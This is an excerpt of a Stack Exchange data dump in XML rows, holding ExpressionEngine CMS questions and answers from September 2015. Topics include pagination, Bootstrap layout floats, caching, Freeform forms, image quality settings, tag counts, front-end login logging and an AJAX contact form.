  <row Id="33949" PostTypeId="2" ParentId="33945" CreationDate="2015-09-08T09:45:38.517" Score="2" Body="&lt;p&gt;As a general rule in reading debugging logs, output statements that are designed to allow developers to profile the speed of their web application are always placed at the start of methods. Not the end.&#xA;So in your case it is the HTML minification process that is taking the 0.7 secs to execute. Which depending on the complexity of your HTML is not too bad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To speed things up, I would consider using caching for this page.&#xA;&lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-cache&quot; rel=&quot;nofollow&quot;&gt;CE Cache&lt;/a&gt; by Causing Effect is a fantastic caching solution for EE giving you great control - especially the neat cache breaking feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In regard to the memory usage of the PHP instance, this should also be taken into account. The more memory you use for a single PHP instance, the longer it will take for the server to process. Using too much memory can also result in RAM swapping when the system is under high load. Something you definitely want to avoid especially considering the cheapness of adding extra RAM to your server (especially if it's in the cloud).&lt;/p&gt;&#xA;" OwnerUserId="3407" LastActivityDate="2015-09-08T09:45:38.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33950" PostTypeId="1" AcceptedAnswerId="33951" CreationDate="2015-09-08T10:22:35.013" Score="0" ViewCount="59" Body="&lt;p&gt;I have an issue when using Low Alphabet in Bootstrap with the layout, which i don't get if I take Low Alphabet out of the code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is at the end of this page URL below, the last two images do not line up and instead one drops and the other goes to the right, when it should flow to the left.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.historyandpolicy.org/sandbox&quot; rel=&quot;nofollow&quot;&gt;http://www.historyandpolicy.org/sandbox&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I'm using is below. The Low Alphabet codeworks perfect, however its the formatting that is the issue and this only happend when using Low Alphabet.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;{exp:low_alphabet:entries channel=&quot;who-we-are&quot; alpha_filter=&quot;{title}&quot; orderby=&quot;surname&quot; limit=&quot;20&quot;}&#xA;&amp;lt;div class=&quot;col-lg-4 portrait&quot;&amp;gt;&#xA;&amp;lt;a href=&quot;{url_title_path='who-we-are/profile'}&quot;&amp;gt;&#xA;&amp;lt;img class=&quot;img-responsive&quot; src=&quot;{profile_thumbnail}&quot; /&amp;gt;&#xA;&amp;lt;h3 class=&quot;entry-title&quot;&amp;gt;{first_name} {surname}&amp;lt;/h3&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&amp;lt;h5&amp;gt;{profile_position}&amp;lt;/h5&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:low_alphabet:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would be very grateful if anyone could help. &lt;/p&gt;&#xA;" OwnerUserId="1650" LastActivityDate="2015-09-08T11:57:14.943" Title="Low Alphabet and bootstrap layout issue" Tags="|bootstrap|low-alphabet|twitter-bootstrap|layouts|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33951" PostTypeId="2" ParentId="33950" CreationDate="2015-09-08T11:57:14.943" Score="1" Body="&lt;p&gt;This has nothing to do with Low Alphabet. It's a layout issue where you're not taking two lines of content into account with floats. See this screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QTJrk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QTJrk.png&quot; alt=&quot;Mis-aligned boxes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see that Simon's description spans 2 lines, which makes the containing box larger, mis-aligning the box below. In the source, I edited the description to be only one line:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/g6b7g.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/g6b7g.jpg&quot; alt=&quot;Dandy boxes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Voilà, everything lines up just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change your css to take this into account, and that should solve it.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-09-08T11:57:14.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33953" PostTypeId="2" ParentId="33929" CreationDate="2015-09-08T14:41:13.523" Score="0" Body="&lt;p&gt;If you need to get more info from the entry, I think a 'Relationship' field or Playa could be your best option.&lt;/p&gt;&#xA;" OwnerUserId="820" LastActivityDate="2015-09-08T14:41:13.523" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33954" PostTypeId="2" ParentId="33929" CreationDate="2015-09-08T14:50:36.530" Score="0" Body="&lt;p&gt;Did you check the docs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://buildwithstructure.com/tags#tag_global_variables&quot; rel=&quot;nofollow&quot;&gt;http://buildwithstructure.com/tags#tag_global_variables&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe you want to utilize one of these Structure global variables. Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;{structure:page:entry_id}&quot;}&#xA;&#xA;    {title} - Stuff! - {entry_id} - Things!&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-09-08T14:50:36.530" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33956" PostTypeId="1" CreationDate="2015-09-08T16:24:48.643" Score="0" ViewCount="76" Body="&lt;p&gt;Im constructing a website with four 'microsites' that have roughly identical page structures. Another relevant point here is that while the content and page structures will be effectively identical, the visual aesthetic (colors, textures, type) will be substantially different. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, each microsite will contain:&lt;br&gt;&#xA;-home&lt;br&gt;&#xA;-about&lt;br&gt;&#xA;-services&lt;br&gt;&#xA;-etc  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These pages will occur on all of the 'microsites', hence the desire to make a template that will structure all the 'about' pages. Ideally this would then grab the appropriate style/content information based on a url segment. There may instances where one microsite will contain a page that another does not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;In response to comment, for clarity&lt;/em&gt;&lt;br&gt;&#xA;urls would occur something like this:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;site.com/tour/home&#xA;site.com/tour/about&#xA;site.com/tour/services&#xA;site.com/tour/rfp&#xA;&#xA;site.com/play/home&#xA;site.com/play/about&#xA;site.com/play/services&#xA;site.com/play/rfp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The vital bit to this is that the structure is identical.&lt;br&gt;&#xA;The aesthetic and content are specific to each microsite and page thereof.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to use the same template for each page so in the event the layout changes im only updating the 'home' template in one location rather than for each 'microsite'. Im really not sure how to best approach this using standard channel/template/entry setup. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My initial theory was to setup channels for each of the repeated pages. For example, I would have a channel dedicated to 'home' pages, a channel dedicated to 'services', etc. This would only seem to work if I was able to load channels dynamically based on url segments. I fully admit that this maybe a flawed approach that may not even work, but I can't think of a better solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im totally open to any ideas (unorthodox or not).&#xA;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3743" LastEditorUserId="3743" LastEditDate="2015-09-17T15:54:35.343" LastActivityDate="2016-05-25T10:01:31.377" Title="Can channels be loaded dynamically based on url segments" Tags="|channel-entries|segments|pages|dynamic|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33957" PostTypeId="2" ParentId="33956" CreationDate="2015-09-08T16:35:43.090" Score="0" Body="&lt;p&gt;You could silo out different sites using the Multiple Site Manager:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/sites/&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/cp/sites/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But depending on your amount of actual pages needed, you could just use the Structure add-on. I've found it works very well on smaller sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://buildwithstructure.com&quot; rel=&quot;nofollow&quot;&gt;http://buildwithstructure.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-09-08T16:35:43.090" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33958" PostTypeId="2" ParentId="33927" CreationDate="2015-09-08T16:51:24.417" Score="0" Body="&lt;p&gt;OK - after futzing around a bit I got something that works for what I want.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       {if {exp:cartthrob:cart_shipping prefix=&quot;&quot; decimals=&quot;0&quot;} != 0}&#xA;&#xA;       YES &#xA;&#xA;       {if:else}&#xA;&#xA;       NO&#xA;&#xA;       {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6442" LastActivityDate="2015-09-08T16:51:24.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33959" PostTypeId="2" ParentId="33946" CreationDate="2015-09-08T18:55:40.790" Score="3" Body="&lt;p&gt;You could do this pretty simply with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT order_hash FROM exp_store_orders WHERE order_completed_date &amp;gt; 1356998400 AND order_completed_date &amp;lt; 1420070400&quot;}&#xA;{exp:store:orders order_hash=&quot;{order_hash}&quot;}&#xA;Order #{order_id}&#xA;{/exp:store:orders}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Brad&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-09-08T18:55:40.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33960" PostTypeId="1" CreationDate="2015-09-08T19:06:47.697" Score="1" ViewCount="66" Body="&lt;p&gt;This is probably a newbie question...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a blog of fifty entries, and I want to be able to have people click through them using previous/next links, but I also want people to have random access to all of them in a sidebar menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a standard pagination tag pair:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {paginate}&#xA;   &amp;lt;p style=&quot;text-align:right&quot;&amp;gt;     {if previous_page}&#xA;            &amp;lt;a href=&quot;{auto_path}&quot;&amp;gt;Previous Page&amp;lt;/a&amp;gt; &amp;amp;nbsp;&#xA;        {/if}&#xA;         {if next_page}&#xA;            &amp;lt;a href=&quot;{auto_path}&quot;&amp;gt;Next Page&amp;lt;/a&amp;gt;&#xA;        {/if}&#xA;        &amp;lt;/p&amp;gt;&#xA;    {/paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;inside a standard channel entries pair:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;md&quot; limit=&quot;1&quot; disable=&quot;member_data&quot; orderby=&quot;author_last&quot; sort=&quot;asc&quot;  paginate=&quot;top&quot; } ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it works--but only because I start the series with a hard-coded link to a 'P1' pagination style link. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I also have a full menu of all entries in a sidebar using the channel entries tag and urls thusly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;md&quot; orderby=&quot;author_last&quot; sort=&quot;asc&quot; disable=&quot;member_data&quot; dynamic=&quot;no&quot; }  &#xA;&amp;lt;p&amp;gt;{author_last}: &amp;lt;a href=&quot;{url_title_path=&quot;md/post&quot;}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the result that if a person clicks on any of the entries from the sidebar menu, pagination links disappear. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to have it both ways?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="2462" LastActivityDate="2015-09-14T20:45:51.487" Title="Pagination remains mysterious" Tags="|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33962" PostTypeId="1" AcceptedAnswerId="33980" CreationDate="2015-09-09T02:20:53.130" Score="0" ViewCount="154" Body="&lt;p&gt;Does EE stores all frontend login actions somewhere? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checking in Control Panel &gt; Tools &gt; Logs &gt; Control Panel I can see it lists all users that have logged into the CP but not the ones logged in using {exp:member:login_form} or {exp:zoo_visitor:login_form}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking of creating an extension that logs all new sessions in a separate table but though it was worth asking here just in case is there an easier way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;Al&lt;/p&gt;&#xA;" OwnerUserId="3235" LastActivityDate="2015-09-10T09:46:10.500" Title="How to log/view all frontend login sessions?" Tags="|zoo-visitor|login|sessions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33963" PostTypeId="1" CreationDate="2015-09-09T03:07:36.417" Score="0" ViewCount="148" Body="&lt;p&gt;I'm trying to figure out a way to display each entry in a channel on one page but allow for those entries to utilize different templates.  The templates would be various layouts for a section and each section would be an entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently using the pages module so I can select a different template but I want to display it on the home page.  Each template is just a variation of the next with rows and columns for content.  I'm basically trying to make the home page modular. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;====== MORE DETAIL =======&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point it's done in the back end. My goal is to eventually move it to the front end but for now I just need to get it working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The home page has a layout for the header, nav, call-to-action row, and footer that will stay consistent on the home page.  The user has some layout options to choose from globally but the area I need to address is the entries that will appear on the home page through the &quot;home&quot; channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to create various layout options for the content row and each entry would display a new row of content.  No different how a news channel would work other than the option to choose a different row layout for the entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like the user to go in and create a new &quot;home&quot; entry from the content menu and select the template they want to use for that specific entry in the pages module template dropdown.  It could one column or two, whichever fits their need.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the client created a new entry with a one column template then it will appear on the home page in the designated content area for the &quot;home&quot; channel entries. Every entry would be a new row based on the template selected.  Again, we are talking about if the row will have 1, 2, or three columns and the width of those columns that are defined in the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would think it would be as easy as displaying the entry but selecting a different template outside of the index seems to be throwing it off.&lt;/p&gt;&#xA;" OwnerUserId="6535" LastEditorUserId="6535" LastEditDate="2015-09-09T15:57:42.830" LastActivityDate="2016-06-18T00:44:48.007" Title="Display different templates as entries on the index page" Tags="|templates|entries|pages|index|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33964" PostTypeId="1" AcceptedAnswerId="33966" CreationDate="2015-09-09T10:13:26.627" Score="0" ViewCount="51" Body="&lt;p&gt;I have a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a form with some input fields. One of them is a file upload field. When the user submits the form, every field will be validated and the page gets reloaded with the error messages (inline errors), but all fields still showing the users input but the file input forgets the selected file. &#xA;Is there any solution to fix this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="6639" LastActivityDate="2015-09-09T14:39:01.430" Title="Freeform 4.x Fileupload forgets my file after error validation" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33965" PostTypeId="2" ParentId="33963" CreationDate="2015-09-09T12:42:19.703" Score="0" Body="&lt;p&gt;So let me get this straight... You want to load different templates based on user choices? So the homepage could be &lt;code&gt;template1&lt;/code&gt; or &lt;code&gt;template2&lt;/code&gt; depending on a condition? Weird.. But ok. Have you considered just embedding template parts?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if condition_a}&#xA;    {embed=&quot;embeds/template_a&quot;}&#xA;{if:else}&#xA;    {embed=&quot;embeds/template_b&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you could expand on the purpose of subjectively loading different templates, I can hone my answer in.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-09-09T12:42:19.703" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33966" PostTypeId="2" ParentId="33964" CreationDate="2015-09-09T14:39:01.430" Score="0" Body="&lt;p&gt;Their is no valid &quot;value&quot; parameter on an &lt;code&gt;input&lt;/code&gt; with file field type anymore, and because the field is populated through browser interaction with the operating system, it is probably not possible to tell the browser to repopulate that field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also a host of vulnerabilities from letting a server tell your browser to relocate a file on request on a local machine. That type of stuff usually requires custom browser extensions. I won't even try to grok some of the possibilities their.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you want to do, is to &lt;strong&gt;force&lt;/strong&gt; validation before submission. By making the user fill in all fields before moving forward, you can prevent these issues. It sounds like your form not repopulating that field is a problem for your particular clientele. It will be a pain, but can stop some of these issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to upload the file on the spot. However, I don't think there is any field type addons for FreeForm to connect it to something like Assets. You could probably develop one (and sell it too, I bet!). &lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-09-09T14:39:01.430" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33967" PostTypeId="2" ParentId="28936" CreationDate="2015-09-09T15:14:35.227" Score="0" Body="&lt;p&gt;In the end I hard coded the payment methods as radio inputs with the values as the payment method name. It's still worth keeping the error:payment_method tag as I think it gives gateway errors. I don't know what expression store do now, it was constantly breaking and changing all the time when I developed this site.&lt;/p&gt;&#xA;" OwnerUserId="1861" LastActivityDate="2015-09-09T15:14:35.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33968" PostTypeId="2" ParentId="33963" CreationDate="2015-09-09T16:04:19.763" Score="0" Body="&lt;p&gt;You could put a field in the home channel entries with the layout options. Then code your page so that it displays differently based on the layout option that was selected. &lt;/p&gt;&#xA;" OwnerUserId="1137" LastActivityDate="2015-09-09T16:04:19.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33969" PostTypeId="1" CreationDate="2015-09-09T17:34:05.327" Score="0" ViewCount="211" Body="&lt;p&gt;I have a form at the URL &lt;code&gt;https://domain.tld/segment_1/segment_2/form&lt;/code&gt;, and would like to redirect (on success) to &lt;code&gt;https://domain.tld/segment_1/segment_2/form/thank-you&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I do: &lt;code&gt;return=&quot;segment_1/segment_2/form/thank-you&quot;&lt;/code&gt; it doesn't work.&#xA;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="777" LastActivityDate="2016-05-23T02:38:57.770" Title="Solspace Freeform: redirect to URI other than template_group/template" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33971" PostTypeId="1" AcceptedAnswerId="33974" CreationDate="2015-09-09T18:50:32.060" Score="0" ViewCount="64" Body="&lt;p&gt;I have just used EE's native image manipulations for the first time and boy did they work great. However, my client looked at the site after I replaced the old images with the resized ones and her nice white backgrounds on products no longer looked white. It's very subtle, I have to look at my monitor at an angle to see it, but apparently it is quite noticeable on certain monitors. When I color sample these white backgrounds, I get an occasional #fefefe pixel. So on some monitors, it is giving the whole image background a yellow cast. I'm wondering if anyone has advice about increasing the quality of the image manipulations, or other ways of managing this particular problem. I see that I can specify a different library, but it's unclear to me if that would help. The images are jpg and I imagine that increasing the quality of the jpg might help, but I don't see settings for that. &lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2015-09-09T20:36:18.760" Title="Color issue on native image manipulation" Tags="|image|image-manipulations|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33972" PostTypeId="2" ParentId="33971" CreationDate="2015-09-09T19:21:08.393" Score="1" Body="&lt;p&gt;I've seen odd things happen with images when the color profile is set to something other than sRGB. Check to make sure the color profile is using sRBG and not something like Adobe RBG or ProPhoto RBG. If you're using any type of Save for Web feature it will usually set the color profile to sRGB automatically.&lt;/p&gt;&#xA;" OwnerUserId="915" LastActivityDate="2015-09-09T19:21:08.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33974" PostTypeId="2" ParentId="33971" CreationDate="2015-09-09T20:36:18.760" Score="1" Body="&lt;p&gt;By default I think EE sets the quality of the image at 90&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try editing system/codeigniter/system/libraries/image_lib.php LINE 36 and change the &lt;code&gt;var $quality&lt;/code&gt; to 100&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that if you are using GD2 Image Resizing Protocol, try switching it to ImageMagick (if on your server) which may give a slightly better result.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2015-09-09T20:36:18.760" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33975" PostTypeId="1" AcceptedAnswerId="34018" CreationDate="2015-09-09T21:39:11.937" Score="0" ViewCount="51" Body="&lt;p&gt;I have the below code to display the tags that are returned inside of low_search:results.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results query=&quot;{segment_3}&quot; limit=&quot;100&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; status=&quot;not closed&quot; disable=&quot;category_fields|member_data&quot; paginate=&quot;bottom&quot; collection=&quot;library&quot;}&#xA;&#xA;    &amp;lt;!-- Keywords --&amp;gt;&#xA;    {if low_search_keywords}&#xA;        Keyword searched for &amp;lt;strong&amp;gt;{low_search_keywords}&amp;lt;/strong&amp;gt;.&#xA;        &amp;lt;br&amp;gt;&#xA;    {/if}&#xA;    &amp;lt;!-- Categories --&amp;gt;&#xA;    {if low_search_category}&#xA;        {exp:channel:categories show=&quot;{low_search_category}&quot; style=&quot;linear&quot;}&#xA;          Type searched for: &amp;lt;strong&amp;gt;{category_name}&amp;lt;/strong&amp;gt;.&#xA;        {/exp:channel:categories}&#xA;        &amp;lt;br&amp;gt;&#xA;    {/if}&#xA;    &amp;lt;!-- Tags --&amp;gt;&#xA;    {if low_search_tag_id}&#xA;        Tag searched for:&#xA;        {exp:tag:cloud tag_id=&quot;{low_search_tag_id}&quot;}&#xA;             &amp;lt;strong&amp;gt;{tag}&amp;lt;/strong&amp;gt;{if count != total_results},&amp;amp;nbsp;{/if}&#xA;        {/exp:tag:cloud}&#xA;        &amp;lt;br&amp;gt;&#xA;    {/if}&#xA;    &amp;lt;!-- Total --&amp;gt;&#xA;    Total results: &amp;lt;strong&amp;gt;{absolute_results}&amp;lt;/strong&amp;gt;.&#xA;&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But instead of returning the total number of tags, the total_results variable is returning the total number of search results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to remedy this? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="745" LastEditorUserId="745" LastEditDate="2015-09-10T15:21:00.783" LastActivityDate="2015-09-15T06:08:21.067" Title="Tag Cloud - Total Results" Tags="|solspace-tag|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33980" PostTypeId="2" ParentId="33962" CreationDate="2015-09-10T09:46:10.500" Score="1" Body="&lt;p&gt;Control Panel Logs is existed not just to show logged users but logged all critical activities(not only login) in CP. EE keeps this records in _cp_log table.&lt;/p&gt;&#xA;&lt;p&gt;For front-end is not such functions from the box.&lt;/p&gt;&#xA;&lt;p&gt;But you can try module called &lt;a href=&quot;https://devot-ee.com/add-ons/audit-pro&quot; rel=&quot;nofollow noreferrer&quot;&gt;Audit Pro&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Audit tracks:&lt;/p&gt;&#xA;&lt;p&gt;Member Logins, including Control Panel &amp;amp; &lt;strong&gt;front-end&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Member Logouts, including Control Panel &amp;amp; &lt;strong&gt;front-end&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;New Entries, including Safecracker&lt;/p&gt;&#xA;&lt;p&gt;Updates to Entries, via the Publish screen or multiple entries via the &amp;gt;Edit screen, including Safecracker&lt;/p&gt;&#xA;&lt;p&gt;Deleting Entries&lt;/p&gt;&#xA;&lt;p&gt;New Members&lt;/p&gt;&#xA;&lt;p&gt;Deleting Members&lt;/p&gt;&#xA;&lt;p&gt;Editing of Members&lt;/p&gt;&#xA;&lt;p&gt;Changing Templates (editing a template, not its preferences)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="932" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2015-09-10T09:46:10.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33985" PostTypeId="1" CreationDate="2015-09-10T12:23:13.297" Score="0" ViewCount="24" Body="&lt;p&gt;I want to have a form with a feature where user's can add multiple email addresses with a &quot;Add More&quot; button. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I am not able to find any such facility in Freeform Pro? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please advise how we can implement such functionality with Freeform Pro add-on in ExpressionEngine?&lt;/p&gt;&#xA;" OwnerUserId="6584" LastActivityDate="2015-09-10T12:23:13.297" Title="&quot;Add More&quot; feature with Freeform Pro add-on in ExpressionEngine?" Tags="|solspace-freeform|forms|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33986" PostTypeId="1" CreationDate="2015-09-10T12:34:52.563" Score="0" ViewCount="285" Body="&lt;p&gt;I have an ajax form set up for my EE contact form which requires that the email and message field be filled in. I need to have &quot;name&quot; and &quot;subject&quot; required too. Please help&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; // Contact form to use AJAX.&#xA;    $(document).ready(function() &#xA;    {&#xA;        /* helper function to display a message describing the results of the form submit */&#xA;        function displayAjaxMessage(message)&#xA;        {&#xA;            $(&quot;#ajax-message&quot;).html(message);&#xA;            $(&quot;#ajax-message&quot;).fadeIn(1000);&#xA;        }&#xA;&#xA;        /* attach a submit handler to the contact form. By default, EE generates the ID &quot;contact_form&quot; */&#xA;        $(&quot;#contact_form&quot;).submit(function(event) &#xA;        {&#xA;            /* stop the contact form from submitting normally */&#xA;            event.preventDefault(); &#xA;&#xA;            /* hide any left over message from a previous submit */&#xA;            $(&quot;#ajax-message&quot;).hide();&#xA;&#xA;            /* send the form data using post and check the results for any errors*/ &#xA;            $.ajax(&#xA;            {&#xA;                url: &quot;/&quot;,&#xA;                type: &quot;post&quot;,&#xA;                dataType: &quot;html&quot;,           &#xA;                data: $(this).serialize(),&#xA;&#xA;                /* If there was some kind of an AJAX error, display an appropriate message or take some other action of your choice */&#xA;                error: function(jqXHR, textStatus, errorThrown)&#xA;                {&#xA;                    displayAjaxMessage(&quot;Sorry, a mistake in form&quot;);&#xA;                },&#xA;&#xA;                /*  parse the HTML returned by EE to see if they forgot to enter an email address or a message. &#xA;                    If so, the HTML will contain a specific error string we can match, and then we can display our own message */&#xA;                success: function(html, textStatus, jqXHR) &#xA;                {&#xA;                    if (html.match(/&amp;lt;title&amp;gt;Error&amp;lt;\/title&amp;gt;/)) &#xA;                    {&#xA;                        var error = $(html).find('ul li:first').text(); &#xA;                        if (error == &quot;A valid sender email is required&quot;)&#xA;                        {&#xA;                            displayAjaxMessage(&quot;Vennligst oppgi en gyldig mailadresse&quot;);&#xA;                        }&#xA;                        else if (error == &quot;Email Message is Required&quot;)                  &#xA;                        {&#xA;                            displayAjaxMessage(&quot;Legg inn en melding&quot;);                      &#xA;                        }&#xA;                    }&#xA;                    else&#xA;                    {&#xA;                        displayAjaxMessage(&quot;Takk for at du kontakter oss&quot;);&#xA;                    }&#xA;                }&#xA;&#xA;            });&#xA;        });&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6646" LastActivityDate="2017-01-03T16:08:14.470" Title="Help with EE Ajax form" Tags="|forms|javascript|ajax|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
